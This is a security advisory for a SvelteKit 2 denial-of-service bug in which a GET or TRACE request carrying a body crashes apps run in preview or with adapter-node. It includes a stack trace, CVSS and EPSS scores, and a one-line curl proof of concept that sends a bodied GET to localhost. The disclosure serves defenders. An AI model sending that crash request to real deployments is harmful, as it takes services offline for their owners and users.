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GHSA-g5m6-hxpp-fc49

HighCVSS 7.5 / 10
Published Jan 24, 2024·Last modified Jan 24, 2024
Affected Components(0)

No affected components available

Description

Summary

In SvelteKit 2 sending a GET request with a body eg {} to a SvelteKit app in preview or with adapter-node throws Request with GET/HEAD method cannot have body. and crashes the app.

node:internal/deps/undici/undici:6066
          throw new TypeError("Request with GET/HEAD method cannot have body.");
                ^

TypeError: Request with GET/HEAD method cannot have body.
    at new Request (node:internal/deps/undici/undici:6066:17)
    at getRequest (file:///C:/Users/admin/Desktop/reproduction/node_modules/@sveltejs/kit/src/exports/node/index.js:107:9)
    at file:///C:/Users/admin/Desktop/reproduction/node_modules/@sveltejs/kit/src/exports/vite/preview/index.js:181:26
    at call (file:///C:/Users/admin/Desktop/reproduction/node_modules/vite/dist/node/chunks/dep-9A4-l-43.js:44795:7)
    at next (file:///C:/Users/admin/Desktop/reproduction/node_modules/vite/dist/node/chunks/dep-9A4-l-43.js:44739:5)
    at file:///C:/Users/admin/Desktop/reproduction/node_modules/@sveltejs/kit/src/exports/vite/preview/index.js:172:6
    at call (file:///C:/Users/admin/Desktop/reproduction/node_modules/vite/dist/node/chunks/dep-9A4-l-43.js:44795:7)
    at next (file:///C:/Users/admin/Desktop/reproduction/node_modules/vite/dist/node/chunks/dep-9A4-l-43.js:44739:5)
    at file:///C:/Users/admin/Desktop/reproduction/node_modules/@sveltejs/kit/src/exports/vite/preview/index.js:211:27
    at call (file:///C:/Users/admin/Desktop/reproduction/node_modules/vite/dist/node/chunks/dep-9A4-l-43.js:44795:7)

Node.js v20.11.0

TRACE requests will also cause the app to crash. Prerendered pages and SvelteKit 1 apps are not affected.

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PoC

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First do a fresh install of SvelteKit 2 with the example app. Typescript.

  1. npm run build
  2. npm run preview
  3. Go to http://localhost:4173 (works)
  4. curl -X GET -d "{}" http://localhost:4173/bye
  5. Application crashes and http://localhost:4173 is down

Impact

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Denial of Service for apps using adapter-node

Risk Scores
Base Score
7.5

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the availability of the system.

Threat Intelligence
6.9

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.76%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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